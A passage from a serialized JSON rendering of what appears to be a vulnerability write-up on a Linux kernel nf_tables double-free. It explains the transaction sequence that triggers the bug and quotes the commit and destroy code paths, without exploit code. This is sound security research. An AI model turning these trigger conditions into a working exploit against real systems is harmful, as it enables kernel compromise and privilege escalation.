e":501},[52718],{"type":21,"tag":85,"props":52719,"children":52720},{"style":114},[52721],{"type":26,"value":10733},{"type":21,"tag":85,"props":52723,"children":52724},{"class":87,"line":697},[52725,52729,52733,52737,52741,52745],{"type":21,"tag":85,"props":52726,"children":52727},{"style":120},[52728],{"type":26,"value":52571},{"type":21,"tag":85,"props":52730,"children":52731},{"style":114},[52732],{"type":26,"value":14175},{"type":21,"tag":85,"props":52734,"children":52735},{"style":120},[52736],{"type":26,"value":52580},{"type":21,"tag":85,"props":52738,"children":52739},{"style":169},[52740],{"type":26,"value":1941},{"type":21,"tag":85,"props":52742,"children":52743},{"style":102},[52744],{"type":26,"value":3438},{"type":21,"tag":85,"props":52746,"children":52747},{"style":114},[52748],{"type":26,"value":2535},{"type":21,"tag":85,"props":52750,"children":52751},{"class":87,"line":706},[52752],{"type":21,"tag":85,"props":52753,"children":52754},{"style":114},[52755],{"type":26,"value":10733},{"type":21,"tag":85,"props":52757,"children":52758},{"class":87,"line":1100},[52759],{"type":21,"tag":85,"props":52760,"children":52761},{"style":114},[52762],{"type":26,"value":2671},{"type":21,"tag":22,"props":52764,"children":52765},{},[52766,52768,52773,52775,52780,52782,52787,52789,52794,52796,52802,52804,52810,52812,52817],{"type":26,"value":52767},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":21,"tag":66,"props":52769,"children":52771},{"className":52770},[],[52772],{"type":26,"value":51467},{"type":26,"value":52774}," in the ",{"type":21,"tag":66,"props":52776,"children":52778},{"className":52777},[],[52779],{"type":26,"value":51475},{"type":26,"value":52781}," to make it dirty and then delete the ",{"type":21,"tag":66,"props":52783,"children":52785},{"className":52784},[],[52786],{"type":26,"value":51475},{"type":26,"value":52788},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":21,"tag":66,"props":52790,"children":52792},{"className":52791},[],[52793],{"type":26,"value":51475},{"type":26,"value":52795},"'s ",{"type":21,"tag":66,"props":52797,"children":52799},{"className":52798},[],[52800],{"type":26,"value":52801},"->commit()",{"type":26,"value":52803}," method is executed before its ",{"type":21,"tag":66,"props":52805,"children":52807},{"className":52806},[],[52808],{"type":26,"value":52809},"->destroy()",{"type":26,"value":52811}," method, then the ",{"type":21,"tag":66,"props":52813,"children":52815},{"className":52814},[],[52816],{"type":26,"value":52580},{"type":26,"value":52818}," flag will be unset, and we won't be able to trigger the double-free.",{"type":21,"tag":22,"props":52820,"children":52821},{},[52822],{"type":26,"value":52823},"Let's once again refer to the code and see how these methods are called.",{"type":21,"tag":75,"props":52825,"children":52827},{"className":16935,"code":52826,"language":3918,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[52828],{"type":21,"tag":66,"props":52829,"children":52830},{"__ignoreMap":7},[52831,52893,52900,52907,52915,52928,52963,52997,53039,53061,53073,53086,53093,53141,53182,53222,53235,53242,53249,53256,53263,53288,53295,53308,53315,53331],{"type":21,"tag":85,"props":52832,"children":52833},{"class":87,"line":88},[52834,52838,52842,52847,52851,52855,52859,52863,52867,52871,52875,52880,52884,52889],{"type":21,"tag":85,"props":52835,"children":52836},{"style":102},[52837],{"type":26,"value":51500},{"type":21,"tag":85,"props":52839,"children":52840},{"style":102},[52841],{"type":26,"value":51629},{"type":21,"tag":85,"props":52843,"children":52844},{"style":1021},[52845],{"type":26,"value":52846}," nf_tables_commit",{"type":21,"tag":85,"props":52848,"children":52849},{"style":114},[52850],{"type":26,"value":1439},{"type":21,"tag":85,"props":52852,"children":52853},{"style":102},[52854],{"type":26,"value":9814},{"type":21,"tag":85,"props":52856,"children":52857},{"style":114},[52858],{"type":26,"value":52458},{"type":21,"tag":85,"props":52860,"children":52861},{"style":169},[52862],{"type":26,"value":3052},{"type":21,"tag":85,"props":52864,"children":52865},{"style":120},[52866],{"type":26,"value":52467},{"type":21,"tag":85,"props":52868,"children":52869},{"style":114},[52870],{"type":26,"value":256},{"type":21,"tag":85,"props":52872,"children":52873},{"style":102},[52874],{"type":26,"value":9814},{"type":21,"tag":85,"props":52876,"children":52877},{"style":114},[52878],{"type":26,"value":52879}," sk_buff ",{"type":21,"tag":85,"props":52881,"children":52882},{"style":169},[52883],{"type":26,"value":3052},{"type":21,"tag":85,"props":52885,"children":52886},{"style":120},[52887],{"type":26,"value":52888},"skb",{"type":21,"tag":85,"props":52890,"children":52891},{"style":114},[52892],{"type":26,"value":2485},{"type":21,"tag":85,"props":52894,"children":52895},{"class":87,"line":98},[52896],{"type":21,"tag":85,"props":52897,"children":52898},{"style":114},[52899],{"type":26,"value":11296},{"type":21,"tag":85,"props":52901,"children":52902},{"class":87,"line":151},[52903],{"type":21,"tag":85,"props":52904,"children":52905},{"style":114},[52906],{"type":26,"value":10733},{"type":21,"tag":85,"props":52908,"children":52909},{"class":87,"line":160},[52910],{"type":21,"tag":85,"props":52911,"children":52912},{"style":114},[52913],{"type":26,"value":52914},"  case NFT_MSG_DELSET:\n",{"type":21,"tag":85,"props":52916,"children":52917},{"class":87,"line":185},[52918,52923],{"type":21,"tag":85,"props":52919,"children":52920},{"style":114},[52921],{"type":26,"value":52922},"  case NFT_MSG_DESTROYSET:",{"type":21,"tag":85,"props":52924,"children":52925},{"style":92},[52926],{"type":26,"value":52927}," // [1]\n",{"type":21,"tag":85,"props":52929,"children":52930},{"class":87,"line":501},[52931,52936,52941,52946,52950,52954,52958],{"type":21,"tag":85,"props":52932,"children":52933},{"style":1021},[52934],{"type":26,"value":52935},"   nft_trans_set",{"type":21,"tag":85,"props":52937,"children":52938},{"style":114},[52939],{"type":26,"value":52940},"(trans)->",{"type":21,"tag":85,"props":52942,"children":52943},{"style":120},[52944],{"type":26,"value":52945},"dead",{"type":21,"tag":85,"props":52947,"children":52948},{"style":169},[52949],{"type":26,"value":1941},{"type":21,"tag":85,"props":52951,"children":52952},{"style":2285},[52953],{"type":26,"value":3279},{"type":21,"tag":85,"props":52955,"children":52956},{"style":114},[52957],{"type":26,"value":49529},{"type":21,"tag":85,"props":52959,"children":52960},{"style":92},[52961],{"type":26,"value":52962}," // [2]\n",{"type":21,"tag":85,"props":52964,"children":52965},{"class":87,"line":697},[52966,52971,52975,52979,52984,52988,52993],{"type":21,"tag":85,"props":52967,"children":52968},{"style":1021},[52969],{"type":26,"value":52970},"   list_del_rcu",{"type":21,"tag":85,"props":52972,"children":52973},{"style":114},[52974],{"type":26,"value":1439},{"type":21,"tag":85,"props":52976,"children":52977},{"style":169},[52978],{"type":26,"value":2238},{"type":21,"tag":85,"props":52980,"children":52981},{"style":1021},[52982],{"type":26,"value":52983},"nft_trans_set",{"type":21,"tag":85,"props":52985,"children":52986},{"style":114},[52987],{"type":26,"value":52940},{"type":21,"tag":85,"props":52989,"children":52990},{"style":120},[52991],{"type":26,"value":52992},"list",{"type":21,"tag":85,"props":52994,"children":52995},{"style":114},[52996],{"type":26,"value":777},{"type":21,"tag":85,"props":52998,"children":52999},{"class":87,"line":706},[53000,53005,53009,53013,53018,53022,53026,53030,53034],{"type":21,"tag":85,"props":53001,"children":53002},{"style":1021},[53003],{"type":26,"value":53004},"   nf_tables_set_notify",{"type":21,"tag":85,"props":53006,"children":53007},{"style":114},[53008],{"type":26,"value":1439},{"type":21,"tag":85,"props":53010,"children":53011},{"style":169},[53012],{"type":26,"value":2238},{"type":21,"tag":85,"props":53014,"children":53015},{"style":120},[53016],{"type":26,"value":53017},"trans",{"type":21,"tag":85,"props":53019,"children":53020},{"style":114},[53021],{"type":26,"value":14175},{"type":21,"tag":85,"props":53023,"children":53024},{"style":120},[53025],{"type":26,"value":20708},{"type":21,"tag":85,"props":53027,"children":53028},{"style":114},[53029],{"type":26,"value":256},{"type":21,"tag":85,"props":53031,"children":53032},{"style":1021},[53033],{"type":26,"value":52983},{"type":21,"tag":85,"props":53035,"children":53036},{"style":114},[53037],{"type":26,"value":53038},"(trans),\n",{"type":21,"tag":85,"props":53040,"children":53041},{"class":87,"line":1100},[53042,53047,53051,53056],{"type":21,"tag":85,"props":53043,"children":53044},{"style":120},[53045],{"type":26,"value":53046},"          trans",{"type":21,"tag":85,"props":53048,"children":53049},{"style":114},[53050],{"type":26,"value":14175},{"type":21,"tag":85,"props":53052,"children":53053},{"style":120},[53054],{"type":26,"value":53055},"msg_type",{"type":21,"tag":85,"props":53057,"children":53058},{"style":114},[53059],{"type":26,"value":53060},", GFP_KERNEL);\n",{"type":21,"tag":85,"props":53062,"children":53063},{"class":87,"line":1339},[53064,53069],{"type":21,"tag":85,"props":53065,"children":53066},{"style":2885},[53067],{"type":26,"value":53068},"   break",{"type":21,"tag":85,"props":53070,"children":53071},{"style":114},[53072],{"type":26,"value":2535},{"type":21,"tag":85,"props":53074,"children":53075},{"class":87,"line":1348},[53076,53081],{"type":21,"tag":85,"props":53077,"children":53078},{"style":114},[53079],{"type":26,"value":53080},"  case NFT_MSG_NEWSETELEM:",{"type":21,"tag":85,"props":53082,"children":53083},{"style":92},[53084],{"type":26,"value":53085}," // [3]\n",{"type":21,"tag":85,"props":53087,"children":53088},{"class":87,"line":1386},[53089],{"type":21,"tag":85,"props":53090,"children":53091},{"style":114},[53092],{"type":26,"value":10733},{"type":21,"tag":85,"props":53094,"children":53095},{"class":87,"line":1394},[53096,53101,53105,53110,53114,53118,53122,53127,53131,53136],{"type":21,"tag":85,"props":53097,"children":53098},{"style":2885},[53099],{"type":26,"value":53100},"   if",{"type":21,"tag":85,"props":53102,"children":53103},{"style":114},[53104],{"type":26,"value":717},{"type":21,"tag":85,"props":53106,"children":53107},{"style":120},[53108],{"type":26,"value":53109},"te",{"type":21,"tag":85,"props":53111,"children":53112},{"style":114},[53113],{"type":26,"value":14175},{"type":21,"tag":85,"props":53115,"children":53116},{"style":120},[53117],{"type":26,"value":51475},{"type":21,"tag":85,"props":53119,"children":53120},{"style":114},[53121],{"type":26,"value":14175},{"type":21,"tag":85,"props":53123,"children":53124},{"style":120},[53125],{"type":26,"value":53126},"ops",{"type":21,"tag":85,"props":53128,"children":53129},{"style":114},[53130],{"type":26,"value":14175},{"type":21,"tag":85,"props":53132,"children":53133},{"style":120},[53134],{"type":26,"value":53135},"commit",{"type":21,"tag":85,"props":53137,"children":53138},{"style":169},[53139],{"type":26,"value":53140}," &&\n",{"type":21,"tag":85,"props":53142,"children":53143},{"class":87,"line":1402},[53144,53149,53153,53157,53161,53165,53169,53173,53178],{"type":21,"tag":85,"props":53145,"children":53146},{"style":1021},[53147],{"type":26,"value":53148},"       list_empty",{"type":21,"tag":85,"props":53150,"children":53151},{"style":114},[53152],{"type":26,"value":1439},{"type":21,"tag":85,"props":53154,"children":53155},{"style":169},[53156],{"type":26,"value":2238},{"type":21,"tag":85,"props":53158,"children":53159},{"style":120},[53160],{"type":26,"value":53109},{"type":21,"tag":85,"props":53162,"children":53163},{"style":114},[53164],{"type":26,"value":14175},{"type":21,"tag":85,"props":53166,"children":53167},{"style":120},[53168],{"type":26,"value":51475},{"type":21,"tag":85,"props":53170,"children":53171},{"style":114},[53172],{"type":26,"value":14175},{"type":21,"tag":85,"props":53174,"children":53175},{"style":120},[53176],{"type":26,"value":53177},"pending_update",{"type":21,"tag":85,"props":53179,"children":53180},{"style":114},[53181],{"type":26,"value":35641},{"type":21,"tag":85,"props":53183,"children":53184},{"class":87,"line":3145},[53185,53190,53194,53198,53202,53206,53210,53214,53218],{"type":21,"tag":85,"props":53186,"children":53187},{"style":1021},[53188],{"type":26,"value":53189},"    list_add_tail",{"type":21,"tag":85,"props":53191,"children":53192},{"style":114},[53193],{"type":26,"value":1439},{"type":21,"tag":85,"props":53195,"children":53196},{"style":169},[53197],{"type":26,"value":2238},{"type":21,"tag":85,"props":53199,"children":53200},{"style":120},[53201],{"type":26,"value":53109},{"type":21,"tag":85,"props":53203,"children":53204},{"style":114},[53205],{"type":26,"value":14175},{"type":21,"tag":85,"props":53207,"children":53208},{"style":120},[53209],{"type":26,"value":51475},{"type":21,"tag":85,"props":53211,"children":53212},{"style":114},[53213],{"type":26,"value":14175},{"type":21,"tag":85,"props":53215,"children":53216},{"style":120},[53217],{"type":26,"value":53177},{"type":21,"tag":85,"props":53219,"children":53220},{"style":114},[53221],{"type":26,"value":182},{"type":21,"tag":85,"props":53223,"children":53224},{"class":87,"line":3246},[53225,53230],{"type":21,"tag":85,"props":53226,"children":53227},{"style":169},[53228],{"type":26,"value":53229},"           &",{"type":21,"tag":85,"props":53231,"children":53232},{"style":114},[53233],{"type":26,"value":53234},"set_update_list);\n",{"type":21,"tag":85,"props":53236,"children":53237},{"class":87,"line":3255},[53238],{"type":21,"tag":85,"props":53239,"children":53240},{"style":114},[53241],{"type":26,"value":35195},{"type":21,"tag":85,"props":53243,"children":53244},{"class":87,"line":3286},[53245],{"type":21,"tag":85,"props":53246,"children":53247},{"style":114},[53248],{"type":26,"value":10733},{"type":21,"tag":85,"props":53250,"children":53251},{"class":87,"line":3295},[53252],{"type":21,"tag":85,"props":53253,"children":53254},{"style":114},[53255],{"type":26,"value":10009},{"type":21,"tag":85,"props":53257,"children":53258},{"class":87,"line":3308},[53259],{"type":21,"tag":85,"props":53260,"children":53261},{"emptyLinePlaceholder":16},[53262],{"type":26,"value":703},{"type":21,"tag":85,"props":53264,"children":53265},{"class":87,"line":3333},[53266,53271,53275,53279,53284],{"type":21,"tag":85,"props":53267,"children":53268},{"style":1021},[53269],{"type":26,"value":53270}," nft_set_commit_update",{"type":21,"tag":85,"props":53272,"children":53273},{"style":114},[53274],{"type":26,"value":1439},{"type":21,"tag":85,"props":53276,"children":53277},{"style":169},[53278],{"type":26,"value":2238},{"type":21,"tag":85,"props":53280,"children":53281},{"style":120},[53282],{"type":26,"value":53283},"set_update_list",{"type":21,"tag":85,"props":53285,"children":53286},{"style":114},[53287],{"type":26,"value":777},{"type":21,"tag":85,"props":53289,"children":53290},{"class":87,"line":3369},[53291],{"type":21,"tag":85,"props":53292,"children":53293},{"style":114},[53294],{"type":26,"value":10733},{"type":21,"tag":85,"props":53296,"children":53297},{"class":87,"line":3377},[53298,53303],{"type":21,"tag":85,"props":53299,"children":53300},{"style":1021},[53301],{"type":26,"value":53302}," nf_tables_commit_release",{"type":21,"tag":85,"props":53304,"children":53305},{"style":114},[53306],{"type":26,"value":53307},"(net);\n",{"type":21,"tag":85,"props":53309,"children":53310},{"class":87,"line":3386},[53311],{"type":21,"tag":85,"props":53312,"children":53313},{"emptyLinePlaceholder":16},[53314],{"type":26,"value":703},{"type":21,"tag":85,"props":53316,"children":53317},{"class":87,"line":3394},[53318,53323,53327],{"type":21,"tag":85,"props":53319,"children":53320},{"style":2885},[53321],{"type":26,"value":53322}," return",{"type":21,"tag":85,"props":53324,"children":53325},{"style":2285},[53326],{"type":26,"value":2830},{"type":21,"tag":85,"props":53328,"children":53329},{"style":114},[53330],{"type":26,"value":2535},{"type":21,"tag":85,"props":53332,"children":53333},{"class":87,"line":3410},[53334],{"type":21,"tag":85,"props":53335,"children":53336},{"style":114},[53337],{"type":26,"value":2671},{"type":21,"tag":22,"props":53339,"children":53340},{},[53341,53342,53348,53350,53355],{"type":26,"value":17034},{"type":21,"tag":66,"props":53343,"children":53345},{"className":53344},[],[53346],{"type":26,"value":53347},"nft_set_commit_update()",{"type":26,"value":53349}," function in the code above will call the ",{"type":21,"tag":66,"props":53351,"children":53353},{"className":53352},[],[53354],{"type":26,"value":52801},{"type":26,"value":53356}," method for any objects that were marked as pending an update.",{"type":21,"tag":75,"props":53358,"children":53360},{"className":16935,"code":53359,"language":3918,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[53361],{"type":21,"tag":66,"props":53362,"children":53363},{"__ignoreMap":7},[53364,53404,53411,53440,53447,53460,53492,53499,53560,53571,53578,53612,53619],{"type":21,"tag":85,"props":53365,"children":53366},{"class":87,"line":88},[53367,53371,53375,53379,53383,53387,53392,53396,53400],{"type":21,"tag":85,"props":53368,"children":53369},{"style":102},[53370],{"type":26,"value":51500},{"type":21,"tag":85,"props":53372,"children":53373},{"style":102},[53374],{"type":26,"value":51505},{"type":21,"tag":85,"props":53376,"children":53377},{"style":1021},[53378],{"type":26,"value":53270},{"type":21,"tag":85,"props":53380,"children":53381},{"style":114},[53382],{"type":26,"value":1439},{"type":21,"tag":85,"props":53384,"children":53385},{"style":102},[53386],{"type":26,"value":9814},{"type":21,"tag":85,"props":53388,"children":53389},{"style":114},[53390],{"type":26,"value":53391}," list_head ",{"type":21,"tag":85,"props":53393,"children":53394},{"style":169},[53395],{"type":26,"value":3052},{"type":21,"tag":85,"props":53397,"children":53398},{"style":120},[53399],{"type":26,"value":53283},{"type":21,"tag":85,"props":53401,"children":53402},{"style":114},[53403],{"type":26,"value":2485},{"type":21,"tag":85,"props":53405,"children":53406},{"class":87,"line":98},[53407],{"type":21,"tag":85,"props":53408,"children":53409},{"style":114},[53410],{"type":26,"value":11296},{"type":21,"tag":85,"props":53412,"children":53413},{"class":87,"line":151},[53414,53418,53422,53426,53431,53435],{"type":21,"tag":85,"props":53415,"children":53416},{"style":102},[53417],{"type":26,"value":21579},{"type":21,"tag":85,"props":53419,"children":53420},{"style":114},[53421],{"type":26,"value":51555},{"type":21,"tag":85,"props":53423,"children":53424},{"style":169},[53425],{"type":26,"value":3052},{"type":21,"tag":85,"props":53427,"children":53428},{"style":114},[53429],{"type":26,"value":53430},"set, ",{"type":21,"tag":85,"props":53432,"children":53433},{"style":169},[53434],{"type":26,"value":3052},{"type":21,"tag":85,"props":53436,"children":53437},{"style":114},[53438],{"type":26,"value":53439},"next;\n",{"type":21,"tag":85,"props":53441,"children":53442},{"class":87,"line":160},[53443],{"type":21,"tag":85,"props":53444,"children":53445},{"emptyLinePlaceholder":16},[53446],{"type":26,"value":703},{"type":21,"tag":85,"props":53448,"children":53449},{"class":87,"line":185},[53450,53455],{"type":21,"tag":85,"props":53451,"children":53452},{"style":1021},[53453],{"type":26,"value":53454}," list_for_each_entry_safe",{"type":21,"tag":85,"props":53456,"children":53457},{"style":114},[53458],{"type":26,"value":53459},"(set, next, set_update_list, pending_update) {\n",{"type":21,"tag":85,"props":53461,"children":53462},{"class":87,"line":501},[53463,53468,53472,53476,53480,53484,53488],{"type":21,"tag":85,"props":53464,"children":53465},{"style":1021},[53466],{"type":26,"value":53467},"  list_del_init",{"type":21,"tag":85,"props":53469,"children":53470},{"style":114},[53471],{"type":26,"value":1439},{"type":21,"tag":85,"props":53473,"children":53474},{"style":169},[53475],{"type":26,"value":2238},{"type":21,"tag":85,"props":53477,"children":53478},{"style":120},[53479],{"type":26,"value":51475},{"type":21,"tag":85,"props":53481,"children":53482},{"style":114},[53483],{"type":26,"value":14175},{"type":21,"tag":85,"props":53485,"children":53486},{"style":120},[53487],{"type":26,"value":53177},{"type":21,"tag":85,"props":53489,"children":53490},{"style":114},[53491],{"type":26,"value":777},{"type":21,"tag":85,"props":53493,"children":53494},{"class":87,"line":697},[53495],{"type":21,"tag":85,"props":53496,"children":53497},{"emptyLinePlaceholder":16},[53498],{"type":26,"value":703},{"type":21,"tag":85,"props":53500,"children":53501},{"class":87,"line":706},[53502,53506,53510,53514,53518,53522,53526,53530,53534,53538,53543,53547,53551,53555],{"type":21,"tag":85,"props":53503,"children":53504},{"style":2885},[53505],{"type":26,"value":31839},{"type":21,"tag":85,"props":53507,"children":53508},{"style":114},[53509],{"type":26,"value":717},{"type":21,"tag":85,"props":53511,"children":53512},{"style":169},[53513],{"type":26,"value":21049},{"type":21,"tag":85,"props":53515,"children":53516},{"style":120},[53517],{"type":26,"value":51475},{"type":21,"tag":85,"props":53519,"children":53520},{"style":114},[53521],{"type":26,"value":14175},{"type":21,"tag":85,"props":53523,"children":53524},{"style":120},[53525],{"type":26,"value":53126},{"type":21,"tag":85,"props":53527,"children":53528},{"style":114},[53529],{"type":26,"value":14175},{"type":21,"tag":85,"props":53531,"children":53532},{"style":120},[53533],{"type":26,"value":53135},{"type":21,"tag":85,"props":53535,"children":53536},{"style":169},[53537],{"type":26,"value":24137},{"type":21,"tag":85,"props":53539,"children":53540},{"style":120},[53541],{"type":26,"value":53542}," set",{"type":21,"tag":85,"props":53544,"children":53545},{"style":114},[53546],{"type":26,"value":14175},{"type":21,"tag":85,"props":53548,"children":53549},{"style":120},[53550],{"type":26,"value":52945},{"type":21,"tag":85,"props":53552,"children":53553},{"style":114},[53554],{"type":26,"value":1900},{"type":21,"tag":85,"props":53556,"children":53557},{"style":92},[53558],{"type":26,"value":53559}," // [4]\n",{"type":21,"tag":85,"props":53561,"children":53562},{"class":87,"line":1100},[53563,53567],{"type":21,"tag":85,"props":53564,"children":53565},{"style":2885},[53566],{"type":26,"value":51947},{"type":21,"tag":85,"props":53568,"children":53569},{"style":114},[53570],{"type":26,"value":2535},{"type":21,"tag":85,"props":53572,"children":53573},{"class":87,"line":1339},[53574],{"type":21,"tag":85,"props":53575,"children":53576},{"emptyLinePlaceholder":16},[53577],{"type":26,"value":703},{"type":21,"tag":85,"props":53579,"children":53580},{"class":87,"line":1348},[53581,53586,53590,53594,53598,53602,53607],{"type":21,"tag":85,"props":53582,"children":53583},{"style":120},[53584],{"type":26,"value":53585},"  set",{"type":21,"tag":85,"props":53587,"children":53588},{"style":114},[53589],{"type":26,"value":14175},{"type":21,"tag":85,"props":53591,"children":53592},{"style":120},[53593],{"type":26,"value":53126},{"type":21,"tag":85,"props":53595,"children":53596},{"style":114},[53597],{"type":26,"value":14175},{"type":21,"tag":85,"props":53599,"children":53600},{"style":1021},[53601],{"type":26,"value":53135},{"type":21,"tag":85,"props":53603,"children":53604},{"style":114},[53605],{"type":26,"value":53606},"(set);",{"type":21,"tag":85,"props":53608,"children":53609},{"style":92},[53610],{"type":26,"value":53611}," // [5]\n",{"type":21,"tag":85,"props":53613,"children":53614},{"class":87,"line":1386},[53615],{"type":21,"tag":85,"props":53616,"children":53617},{"style":114},[53618],{"type":26,"value":10009},{"type":21,"tag":85,"props":53620,"children":53621},{"class":87,"line":1394},[53622],{"type":21,"tag":85,"props":53623,"children":53624},{"style":114},[53625],{"type":26,"value":2671},{"type":21,"tag":22,"props":53627,"children":53628},{},[53629,53631,53637,53639,53644,53645,53650],{"type":26,"value":53630},"Later on, the ",{"type":21,"tag":66,"props":53632,"children":53634},{"className":53633},[],[53635],{"type":26,"value":53636},"nf_tables_commit_release()",{"type":26,"value":53638}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":21,"tag":66,"props":53640,"children":53642},{"className":53641},[],[53643],{"type":26,"value":51475},{"type":26,"value":52795},{"type":21,"tag":66,"props":53646,"children":53648},{"className":53647},[],[53649],{"type":26,"value":52809},{"type":26,"value":53651}," method.",{"type":21,"tag":75,"props":53653,"children":53655},{"className":16935,"code":53654,"language":3918,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[53656],{"type":21,"tag":66,"props":53657,"children":53658},{"__ignoreMap":7},[53659,53698,53705,53712,53733,53740,53747,53754,53795,53802,53809,53830,53843,53855,53862,53869,53876,53917,53924,53952,53959,53972,53984,54025,54032,54039,54046,54104,54111,54118,54147,54154],{"type":21,"tag":85,"props":53660,"children":53661},{"class":87,"line":88},[53662,53666,53670,53674,53678,53682,53686,53690,53694],{"type":21,"tag":85,"props":53663,"children":53664},{"style":102},[53665],{"type":26,"value":51500},{"type":21,"tag":85,"props":53667,"children":53668},{"style":102},[53669],{"type":26,"value":51505},{"type":21,"tag":85,"props":53671,"children":53672},{"style":1021},[53673],{"type":26,"value":53302},{"type":21,"tag":85,"props":53675,"children":53676},{"style":114},[53677],{"type":26,"value":1439},{"type":21,"tag":85,"props":53679,"children":53680},{"style":102},[53681],{"type":26,"value":9814},{"type":21,"tag":85,"props":53683,"children":53684},{"style":114},[53685],{"type":26,"value":52458},{"type":21,"tag":85,"props":53687,"children":53688},{"style":169},[53689],{"type":26,"value":3052},{"type":21,"tag":85,"props":53691,"children":53692},{"style":120},[53693],{"type":26,"value":52467},{"type":21,"tag":85,"props":53695,"children":53696},{"style":114},[53697],{"type":26,"value":2485},{"type":21,"tag":85,"props":53699,"children":53700},{"class":87,"line":98},[53701],{"type":21,"tag":85,"props":53702,"children":53703},{"style":114},[53704],{"type":26,"value":11296},{"type":21,"tag":85,"props":53706,"children":53707},{"class":87,"line":151},[53708],{"type":21,"tag":85,"props":53709,"children":53710},{"style":114},[53711],{"type":26,"value":10733},{"type":21,"tag":85,"props":53713,"children":53714},{"class":87,"line":160},[53715,53720,53724,53728],{"type":21,"tag":85,"props":53716,"children":53717},{"style":1021},[53718],{"type":26,"value":53719}," schedule_work",{"type":21,"tag":85,"props":53721,"children":53722},{"style":114},[53723],{"type":26,"value":1439},{"type":21,"tag":85,"props":53725,"children":53726},{"style":169},[53727],{"type":26,"value":2238},{"type":21,"tag":85,"props":53729,"children":53730},{"style":114},[53731],{"type":26,"value":53732},"trans_destroy_work);\n",{"type":21,"tag":85,"props":53734,"children":53735},{"class":87,"line":185},[53736],{"type":21,"tag":85,"props":53737,"children":53738},{"style":114},[53739],{"type":26,"value":10733},{"type":21,"tag":85,"props":53741,"children":53742},{"class":87,"line":501},[53743],{"type":21,"tag":85,"props":53744,"children":53745},{"style":114},[53746],{"type":26,"value":2671},{"type":21,"tag":85,"props":53748,"children":53749},{"class":87,"line":697},[53750],{"type":21,"tag":85,"props":53751,"children":53752},{"style":114},[53753],{"type":26,"value":10733},{"type":21,"tag":85,"props":53755,"children":53756},{"class":87,"line":706},[53757,53761,53765,53770,53774,53778,53783,53787,53791],{"type":21,"tag":85,"props":53758,"children":53759},{"style":102},[53760],{"type":26,"value":51500},{"type":21,"tag":85,"props":53762,"children":53763},{"style":102},[53764],{"type":26,"value":51505},{"type":21,"tag":85,"props":53766,"children":53767},{"style":1021},[53768],{"type":26,"value":53769}," nf_tables_trans_destroy_work",{"type":21,"tag":85,"props":53771,"children":53772},{"style":114},[53773],{"type":26,"value":1439},{"type":21,"tag":85,"props":53775,"children":53776},{"style":102},[53777],{"type":26,"value":9814},{"type":21,"tag":85,"props":53779,"children":53780},{"style":114},[53781],{"type":26,"value":53782}," work_struct ",{"type":21,"tag":85,"props":53784,"children":53785},{"style":169},[53786],{"type":26,"value":3052},{"type":21,"tag":85,"props":53788,"children":53789},{"style":120},[53790],{"type":26,"value":50027},{"type":21,"tag":85,"props":53792,"children":53793},{"style":114},[53794],{"type":26,"value":2485},{"type":21,"tag":85,"props":53796,"children":53797},{"class":87,"line":1100},[53798],{"type":21,"tag":85,"props":53799,"children":53800},{"style":114},[53801],{"type":26,"value":11296},{"type":21,"tag":85,"props":53803,"children":53804},{"class":87,"line":1339},[53805],{"type":21,"tag":85,"props":53806,"children":53807},{"style":114},[53808],{"type":26,"value":10733},{"type":21,"tag":85,"props":53810,"children":53811},{"class":87,"line":1348},[53812,53816,53821,53825],{"type":21,"tag":85,"props":53813,"children":53814},{"style":1021},[53815],{"type":26,"value":53454},{"type":21,"tag":85,"props":53817,"children":53818},{"style":114},[53819],{"type":26,"value":53820},"(trans, next, ",{"type":21,"tag":85,"props":53822,"children":53823},{"style":169},[53824],{"type":26,"value":2238},{"type":21,"tag":85,"props":53826,"children":53827},{"style":114},[53828],{"type":26,"value":53829},"head, list) {\n",{"type":21,"tag":85,"props":53831,"children":53832},{"class":87,"line":1386},[53833,53838],{"type":21,"tag":85,"props":53834,"children":53835},{"style":1021},[53836],{"type":26,"value":53837},"  nft_trans_list_del",{"type":21,"tag":85,"props":53839,"children":53840},{"style":114},[53841],{"type":26,"value":53842},"(trans);\n",{"type":21,"tag":85,"props":53844,"children":53845},{"class":87,"line":1394},[53846,53851],{"type":21,"tag":85,"props":53847,"children":53848},{"style":1021},[53849],{"type":26,"value":53850},"  